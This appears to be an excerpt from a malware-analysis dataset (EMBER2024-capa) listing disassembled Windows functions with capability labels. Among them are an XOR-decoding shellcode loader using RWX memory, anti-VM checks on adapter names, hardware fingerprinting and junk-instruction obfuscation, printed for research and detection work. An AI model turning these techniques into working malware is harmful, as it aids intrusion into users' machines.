joyce8/EMBER2024-capa huggingface dataset:
Function at 0x475032
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4d0a88], 0
push esi
jne 0x474fa5
call fcn.00474ecb
test eax, eax
je 0x474fe8
mov eax, dword [0x4d0a88]
cmp eax, 1
jne 0x474fc6
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x474fe8
pop esi
ret
push eax
call dword [0x4d0a90]
test eax, eax
jne 0x475030
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x474fec
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4d0a88]
call dword [0x4d0a90]
mov edi, eax
test edi, edi
je 0x475011
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x47502d
mov edi, esi
add esi, 0xff0
push edi
push dword [0x4d0a88]
call dword [0x4d0a8c]
add edi, 0x10
cmp edi, esi
jb 0x475019
mov eax, edi
pop edi
pop esi
ret
jmp 0x474f92

Function at 0x47674a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4c3a10]
jne 0x476754
repz ret
jmp fcn.00482540

Function at 0x4797f6
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x479827
call fcn.0047e6ad
mov dword [eax], esi
call fcn.0047e69a
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00476362
add esp, 0x14
push 0x16
pop eax
jmp 0x47987c
test dword [ebp + 0xc], 0xfffffff9
jne 0x479803
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x479854
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0047e6c0
pop ecx
call fcn.0047e69a
mov eax, dword [eax]
jmp 0x47987c
test al, 0x10
jne 0x47987a
test al, 1
je 0x47987a
test byte [ebp + 0xc], 2
je 0x47987a
call fcn.0047e6ad
mov dword [eax], 5
call fcn.0047e69a
mov dword [eax], 0xd
jmp 0x47984b
xor eax, eax
pop esi
pop ebp
ret
Function at 0x493d94
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00481ced
and dword [ebp - 4], 0
cmp dword [0x4d1924], 0
mov ebx, eax
jne 0x493e45
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x493ef6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x493ef6
push eax
call fcn.00481c7b
mov dword [esp], 0x4b2398
push edi
mov dword [0x4d1924], eax
call esi
push eax
call fcn.00481c7b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4d1928], eax
call esi
push eax
call fcn.00481c7b
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4d192c], eax
call esi
push eax
call fcn.00481c7b
pop ecx
mov dword [0x4d1934], eax
test eax, eax
je 0x493e45
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00481c7b
pop ecx
mov dword [0x4d1930], eax
mov eax, dword [0x4d1930]
cmp eax, ebx
je 0x493e9d
cmp dword [0x4d1934], ebx
je 0x493e9d
push eax
call fcn.00481cf6
push dword [0x4d1934]
mov esi, eax
call fcn.00481cf6
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x493e9d
test edi, edi
je 0x493e9d
call esi
test eax, eax
je 0x493e94
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x493e94
test byte [ebp - 0xc], 1
jne 0x493e9d
or dword [ebp + 0x10], 0x200000
jmp 0x493ed6
mov eax, dword [0x4d1928]
cmp eax, ebx
je 0x493ed6
push eax
call fcn.00481cf6
pop ecx
test eax, eax
je 0x493ed6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x493ed6
mov eax, dword [0x4d192c]
cmp eax, ebx
je 0x493ed6
push eax
call fcn.00481cf6
pop ecx
test eax, eax
je 0x493ed6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4d1924]
call fcn.00481cf6
pop ecx
test eax, eax
je 0x493ef6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x493ef8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x499a22
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x4c3a10]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
call fcn.00459420
xor ebx, ebx
push 0x63
lea eax, [ebp - 0x7b]
push ebx
push eax
mov byte [ebp - 0x7c], bl
call fcn.004766d0
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x80]
push eax
push 0x64
lea eax, [ebp - 0x7c]
push eax
push 0x4b2750
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x499a76
xor al, al
jmp 0x499ab8
mov ecx, dword [ebp - 0x80]
push ebx
push ebx
mov eax, ecx
shr eax, 0x18
push eax
mov edx, ecx
shr edx, 0x10
mov eax, 0xff
and edx, eax
push edx
mov edx, ecx
shr edx, 8
and edx, eax
movzx eax, cl
push edx
push eax
lea eax, [ebp - 0x18]
push str._02X_02X_02X_02X_02X_02X
push eax
call fcn.0047ac4f
add esp, 0x20
lea eax, [ebp - 0x18]
push eax
mov ecx, esi
call fcn.004023e3
mov al, 1
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0047674a
leave
ret 4
Function at 0x49ad73
Capabilities:
Check if file exists
Create directory
Get common file path
Get file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4c3a10]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [ebp + 0x98]
push ebx
push esi
push edi
xor esi, esi
push 0x103
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x77]
push esi
push eax
mov dword [ebp - 0x80], esi
mov byte [ebp - 0x78], 0
call fcn.004766d0
add esp, 0xc
push 1
push 0x23
lea eax, [ebp - 0x78]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x49add7
push str.c:windows_temp
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [ebp + 0x9c], esi
je 0x49adfd
lea eax, [ebp - 0x78]
push eax
call edi
cmp eax, 0xffffffff
jne 0x49adfd
push esi
lea eax, [ebp - 0x78]
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.Thunder_Network
lea eax, [ebp - 0x78]
push eax
call esi
cmp dword [ebp + 0x9c], 0
je 0x49ae2a
lea eax, [ebp - 0x78]
push eax
call edi
cmp eax, 0xffffffff
jne 0x49ae2a
push 0
lea eax, [ebp - 0x78]
push eax
call ebx
push str.DownloadLib
lea eax, [ebp - 0x78]
push eax
call esi
cmp dword [ebp + 0x9c], 0
je 0x49ae51
lea eax, [ebp - 0x78]
push eax
call edi
cmp eax, 0xffffffff
jne 0x49ae51
push 0
lea eax, [ebp - 0x78]
push eax
call ebx
mov ecx, dword [ebp - 0x7c]
lea eax, [ebp - 0x78]
push eax
call fcn.00402406
mov ecx, dword [ebp + 0x8c]
mov eax, dword [ebp - 0x7c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0047674a
add ebp, 0x90
leave
ret
Function at 0x49f232
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a2452
mov eax, dword fs:[0]
push eax
mov eax, 0x28d8
call fcn.004791d0
mov eax, dword [0x4c3a10]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28c8], ecx
call fcn.00459420
lea ecx, [ebp - 0x28e4]
call fcn.0041618b
lea eax, [ebp - 0x28e4]
xor ebx, ebx
push eax
mov dword [ebp - 4], ebx
call fcn.0049ed42
pop ecx
lea eax, [ebp - 0x28cc]
push eax
lea esi, [ebp - 0x28c0]
mov eax, esi
push eax
mov dword [ebp - 0x28cc], 0x2880
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x49f3c9
mov dword [ebp - 0x28c4], ebx
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x24]
push str._02X_02X_02X_02X_02X_02X
push eax
call fcn.0047ac4f
add esp, 0x20
lea eax, [esi + 0x10c]
push eax
lea ecx, [ebp - 0x40]
call fcn.00402406
push ebx
push 0x4b2a44
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
call fcn.004438b0
cmp eax, 0xffffffff
jne 0x49f384
push ebx
push str.VMare
lea ecx, [ebp - 0x40]
call fcn.004438b0
cmp eax, 0xffffffff
jne 0x49f384
push ebx
push str.Virtual
lea ecx, [ebp - 0x40]
call fcn.004438b0
cmp eax, 0xffffffff
jne 0x49f384
push ebx
push str.SLIP
lea ecx, [ebp - 0x40]
call fcn.004438b0
cmp eax, 0xffffffff
jne 0x49f384
push ebx
push str.P.P.P
lea ecx, [ebp - 0x40]
call fcn.004438b0
cmp eax, 0xffffffff
jne 0x49f384
lea eax, [ebp - 0x28e4]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.0049ec15
pop ecx
pop ecx
test al, al
je 0x49f3ad
mov esi, dword [esi]
push ebx
lea ecx, [ebp - 0x40]
push 1
cmp esi, ebx
je 0x49f3fb
mov byte [ebp - 4], bl
call fcn.004027d5
inc dword [ebp - 0x28c4]
cmp dword [ebp - 0x28c4], 0x10
jb 0x49f2bb
jmp 0x49f3c9
mov ecx, dword [ebp - 0x28c8]
lea eax, [ebp - 0x24]
push eax
call fcn.004023e3
push ebx
push 1
lea ecx, [ebp - 0x40]
call fcn.004027d5
mov bl, 1
lea ecx, [ebp - 0x28e4]
call fcn.004162a3
push dword [ebp - 0x28e4]
call fcn.00476220
pop ecx
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047674a
leave
ret
call fcn.004027d5
jmp 0x49f3c9
Function at 0x49f8ab
Capabilities:
Get storage device properties

Disassembly:
push ebp
lea ebp, [esp - 0x2ac0]
mov eax, 0x2b3c
call fcn.004791d0
mov eax, dword [0x4c3a10]
xor eax, ebp
mov dword [ebp + 0x2abc], eax
push ebx
push esi
mov esi, dword [ebp + 0x2ac8]
xor ebx, ebx
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push str..PhysicalDrive0
mov byte [ebp - 0x49], bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x50], eax
cmp eax, 0xffffffff
je 0x49fa03
push edi
push 0xc
lea eax, [ebp - 0x48]
push ebx
push eax
call fcn.004766d0
mov edi, 0x2710
push edi
lea eax, [ebp - 0x3c]
push ebx
push eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
call fcn.004766d0
add esp, 0x18
push ebx
lea eax, [ebp - 0x5c]
push eax
push edi
lea eax, [ebp - 0x3c]
push eax
push 0xc
lea eax, [ebp - 0x48]
push eax
push 0x2d1400
push dword [ebp - 0x50]
mov dword [ebp - 0x5c], ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x49f9f9
lea eax, [ebp + 0x26d4]
push eax
push 1
push dword [ebp - 0x24]
lea eax, [ebp - 0x3c]
push eax
call fcn.0049f5a7
movsx eax, byte [ebp + 0x26d4]
push eax
call fcn.0047e026
add esp, 0x14
test eax, eax
jne 0x49f980
movsx eax, byte [ebp + 0x26e7]
push eax
call fcn.0047e026
pop ecx
test eax, eax
je 0x49f9f9
lea eax, [ebp + 0x26d4]
push eax
mov ecx, esi
call fcn.004023e3
lea eax, [ebp - 0x64]
push eax
mov ecx, esi
mov byte [ebp - 0x4a], 0x20
call fcn.00459367
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x74]
mov dword [ebp - 0x58], ecx
push eax
mov ecx, esi
call fcn.00459367
mov edi, eax
lea eax, [ebp - 0x6c]
push eax
mov ecx, esi
call fcn.00459347
lea ecx, [ebp - 0x4a]
push ecx
push dword [edi + 4]
push dword [edi]
push dword [eax + 4]
push dword [eax]
lea eax, [ebp - 0x7c]
push eax
call fcn.0049f82d
add esp, 0x18
push dword [ebp - 0x54]
mov ecx, esi
push dword [ebp - 0x58]
push dword [eax + 4]
push dword [eax]
lea eax, [ebp - 0x58]
push eax
call fcn.004593bc
cmp dword [esi + 0x14], ebx
je 0x49f9f9
mov byte [ebp - 0x49], 1
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp + 0x2abc]
mov al, byte [ebp - 0x49]
pop esi
xor ecx, ebp
pop ebx
call fcn.0047674a
add ebp, 0x2ac0
leave
ret
Function at 0x32024c4f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x32024c5e
pop dword [ebp - 4]
mov eax, 0xc2df5785
add eax, 0x6f22f4d9
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x819f0a66
sub dword [ebp - 0x14], 0x334cc51b
mov dword [ebp - 0x10], 0x75c4ce5f
sub dword [ebp - 0x10], 0x4391821a
mov dword [ebp - 0xc], 0x780185fa
add dword [ebp - 0xc], 0xd44abe34
mov dword [ebp - 8], 0xaeb7dac6
add dword [ebp - 8], 0x5148253a
lea eax, [ebp - 0x14]
push eax
mov eax, 0x223d2a97
add eax, 0xfc805ed
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x9f816599
sub dword [ebp - 0x14], 0x2b0efc43
mov dword [ebp - 0x10], 0xa304cdc8
add dword [ebp - 0x10], 0x9e6793ad
mov dword [ebp - 0xc], 0x9255e62c
sub dword [ebp - 0xc], 0x2ee679c0
mov dword [ebp - 8], 0xc0d47e18
sub dword [ebp - 8], 0xc0d47e18
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x556f14c4
sub eax, 0x2369e448
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x42b4c
push 0
call eax
mov ecx, 0x82ce2e4f
add ecx, 0x7d3206bb
mov edx, eax
mov edi, 0x4deb63a1
sub edi, 0x1be3c1a1
add edi, dword [ebp - 4]
mov esi, 0xd5135f47
add esi, 0x66abdacf
mov ebx, dword [edi]
xor ebx, esi
mov dword [edx], ebx
add edx, 4
add edi, 4
loop 0x32024d80
add eax, 0xc6fb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9d8684ee
sub ecx, 0x6b8684ee
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x413eb7
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x42d014]
xor eax, esp
mov dword [esp + 0x194], eax
push 0x42e960
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
cmp eax, 1
jne 0x413ef9
lea eax, [esp]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
push eax
push 0x42e964
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.004179df
mov esp, ebp
pop ebp
ret

Function at 0x41407c
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
push 0xffffffffffffffff
xor edi, edi
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
mov eax, dword [esi + 4]
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push edi
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push 0x42e90c
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push edi
push dword [esi + 4]
test eax, eax
je 0x4140c7
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x4140dd
push fcn.004140e3
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
jmp loc.00557288
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x414a10
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
mov ebp, ecx
mov esi, edx
xor ebx, ebx
mov dword [esp + 0x10], esi
push edi
mov edi, dword [esp + 0x2c]
cmp ebp, 0xffffffff
je 0x414ae6
test byte [esi], 8
je 0x414a57
xor eax, eax
mov dword [esp + 0x10], eax
call fcn.00417960
lea eax, [esp + 0x18]
mov edx, esi
push eax
push ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
mov ecx, ebp
call fcn.00414b69
add esp, 0x14
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
mov ebx, eax
call fcn.00417960
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi], eax
mov dword [edi + 4], esi
test ebx, ebx
je 0x414ae6
call fcn.00417960
cmp dword [edi + 4], eax
jne 0x414a90
cmp dword [edi], 0x2733
je 0x414aa2
call fcn.00417960
cmp dword [edi + 4], eax
jne 0x414ae2
cmp dword [edi], 0x4d5
jne 0x414ae2
and dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push eax
push 0x8004667e
push ebp
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, dword [esp + 0x14]
push 0
and byte [eax], 0xfc
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push ebp
call dword [sym.imp.WS2_32.dll_closesocket]
mov ebx, eax
call fcn.00417960
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [edi], eax
mov dword [edi + 4], esi
test ebx, ebx
jne 0x414af1
call fcn.00417960
and dword [edi], 0
mov dword [edi + 4], eax
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x14
ret
Function at 0x414b69
Capabilities:
Set socket configuration

Disassembly:
push esi
mov esi, ecx
cmp esi, 0xffffffff
jne 0x414b87
call fcn.00417960
mov ecx, dword [esp + 0x18]
mov dword [ecx + 4], eax
or eax, esi
jmp loc.0055a618
or byte [edx], 8
push ebx
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 4
push dword [esp + 0x1c]
push 0x80
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ebx, eax
call fcn.00417960
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, dword [esp + 0x20]
mov dword [edi], eax
mov dword [edi + 4], esi
test ebx, ebx
jne 0x414bd1
call fcn.00417960
and dword [edi], ebx
mov dword [edi + 4], eax
pop edi
mov eax, ebx
pop ebx
pop esi
ret

Function at 0x414c0b
Capabilities:
Send data
Send data on socket

Disassembly:
push 0x14
mov eax, 0x4244a5
call fcn.00423b1f
mov edi, ecx
mov dword [ebp - 0x14], edi
xor eax, eax
mov bl, al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
push 4
lea esi, [edi + 0x38]
mov dword [ebp - 4], eax
pop edi
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
mov ecx, esi
push eax
push dword [ebp + 8]
call fcn.004154da
test al, al
jne 0x414c48
test bl, bl
je 0x414c4a
mov bl, 1
add esi, 0x1c
sub edi, 1
jne 0x414c2f
mov edi, dword [ebp - 0x14]
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [edi + 0x14]
call fcn.00414536
test bl, bl
je 0x414cc4
lea eax, [ebp + 0xf]
mov dword [ebp - 0x18], 1
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov byte [ebp + 0xf], bl
call fcn.00417960
mov esi, dword [edi + 0x34]
push ebx
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push ebx
push ebx
push ebx
lea eax, [ebp + 8]
mov dword [ebp + 8], ebx
push eax
push 1
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_WSASend]
mov esi, eax
call fcn.00417960
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x40
je 0x414cb6
cmp eax, 0x4d2
jne 0x414cbb
call fcn.00417960
test esi, esi
jne 0x414cc4
call fcn.00417960
lea ecx, [ebp - 0x20]
call fcn.004155a2
call fcn.00423ae8
ret 8

Function at 0x414e1b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
mov eax, dword [edi + 4]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
cmp eax, 0xffffffff
jne 0x414e41
push 0
push 0x2719
jmp 0x414e88
push esi
xor ecx, ecx
push ecx
push dword [ebp + 0x20]
mov dword [ebp + 8], ecx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push ecx
lea ecx, [ebp + 8]
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_WSASendTo]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test esi, esi
pop esi
je 0x414e95
cmp eax, 0x3e5
je 0x414e95
push dword [ebp + 8]
push eax
push dword [ebp + 0x20]
mov ecx, dword [edi + 4]
call fcn.00414604
jmp 0x414ea0
push dword [ebp + 0x20]
mov ecx, dword [edi + 4]
call fcn.004145aa
pop edi
pop ebp
ret 0x1c
Function at 0x414ea5
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 4]
add eax, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
cmp eax, 0xffffffff
jne 0x414ecc
push 0
push 0x2719
jmp 0x414f19
push esi
xor ecx, ecx
push ecx
push dword [ebp + 0x20]
mov dword [ebp + 8], ecx
push dword [ebp + 0x1c]
mov dword [ebp - 4], ecx
lea ecx, [ebp - 4]
push dword [ebp + 0x14]
push ecx
lea ecx, [ebp + 8]
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x4d2
mov ecx, 0x274d
cmove eax, ecx
test esi, esi
pop esi
je 0x414f26
cmp eax, 0x3e5
je 0x414f26
push dword [ebp + 8]
push eax
push dword [ebp + 0x20]
mov ecx, dword [edi + 4]
call fcn.00414604
jmp 0x414f31
push dword [ebp + 0x20]
mov ecx, dword [edi + 4]
call fcn.004145aa
pop edi
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x4151a7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x4a4
mov eax, 0x424692
call fcn.00423b53
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x4b0]
push eax
push 0x40
push 0x7a8
push section..edc
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp dword [ebp + 8], 0xe
jle 0x4151f4
call fcn.00403400
call fcn.0040751b
call fcn.0040b5d2
cmp dword [ebp + 8], 0xf
jle 0x4151fc
push ebx
pop ebx
cmp dword [ebp + 8], 0xc
jle 0x4152e5
mov dword [ebp - 0x4ac], edi
mov dword [ebp - 0x4a8], edi
mov dword [ebp - 0x4a4], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0x4a0], edi
mov dword [ebp - 0x49c], edi
mov dword [ebp - 0x498], edi
mov dword [ebp - 0x494], edi
mov dword [ebp - 0x490], edi
mov dword [ebp - 0x48c], edi
mov dword [ebp - 0x488], edi
mov dword [ebp - 0x484], edi
mov dword [ebp - 0x480], edi
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 3
call fcn.00414899
lea eax, [ebp - 0x47c]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x470]
call fcn.00414fda
lea ecx, [ebp - 0x47c]
mov byte [ebp - 4], 5
call fcn.004149b7
lea ecx, [ebp - 0x470]
call fcn.00415747
mov ecx, dword [ebp - 0x478]
test ecx, ecx
je 0x4152a0
push ecx
call fcn.00414936
push 0x42e960
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x4152b5
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x488]
call fcn.0041531c
lea ecx, [ebp - 0x494]
call fcn.00415345
lea ecx, [ebp - 0x4a0]
call fcn.004153a5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4ac]
call fcn.004153fe
cmp dword [ebp + 8], 0x10
jle 0x4152f2
push ebx
call fcn.0040f6ed
pop ebx
mov ecx, section..edc
call fcn.00416ba0
lea ebx, section..text
lea edx, section..edc
push ecx
push edx
mov eax, dword [esp]
call eax
xor eax, eax
call fcn.00423afd
ret

Function at 0x41843b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, eax
test ecx, ecx
jne 0x41844c
xor al, al
ret
mov eax, 0x5a4d
jmp loc.00557d78
Function at 0x41a7f5
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsAlloc
push 0x4254c0
push str.FlsAlloc
push 4
jmp loc.0054be10

Function at 0x41a8a3
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push str.FlsSetValue
push 0x4254f8
push str.FlsSetValue
push 7
call fcn.0041a6d4
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x41a8d7
mov ecx, esi
jmp loc.0054ecf0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret

Function at 0x41d650
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
jmp loc.005551b8

Function at 0x41e634
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
xor edi, edi
test esi, esi
je 0x41e6a1
push esi
call fcn.0041e5fd
pop ecx
jmp loc.00550f50
mov ebx, edi
test esi, esi
je 0x41e6ae
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41e9f7
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041e6b7

Function at 0x423d10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x423d24
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
jmp loc.005546c8

Function at 0x5551b8
Capabilities:
Set thread local storage value

Disassembly:
push ecx
mov eax, dword [0x42d014]
push eax
lahf
push ebx
add ebx, 0x378fe62c
push ecx
sbb cl, 0x7c
or ebx, 0x1c0a58c3
add ebx, 0x3ddcd22c
rol ebx, 1
sub ebx, 0x643d4f22
sbb ecx, 0x5603ca7d
sbb ebx, 0x781f95e9
dec ecx
pop ecx
pop ebx
sahf
pop eax
xchg bl, bh
push eax
lahf
ror ebx, 1
rol ebx, 1
push ebx
xor bh, 0xcd
mov bl, 0x2b
pop ebx
ror ebx, 1
mov edx, edx
dec cl
inc ecx
cmp dl, al
push ebx
add bl, 0xfc
pop ebx
dec ecx
mov ax, ax
push edx
xor edx, 0x2494ee9f
dec edx
pop edx
inc cl
rol ebx, 1
sahf
pop eax
xchg bl, bh
push eax
lahf
push ecx
or ecx, 0x32c0fe94
or ch, 0x88
and ecx, 0x2ef21a29
push ecx
sbb ecx, 0x802da66
dec ecx
dec ecx
pop ecx
mov eax, eax
adc ecx, 0x3ffadd46
sbb ecx, 0x3953825b
and cl, 0xc2
mov cl, 0x4b
pop ecx
sahf
pop eax
push eax
lahf
push edx
and edx, 0x79c2d68a
add edx, 0x7b1bccc1
push eax
lahf
test edx, edx
and dl, 0x48
ror bl, 1
and dl, 0xc
rol bl, 1
sub dl, 0x96
sar edx, 1
sahf
pop eax
pop edx
sahf
pop eax
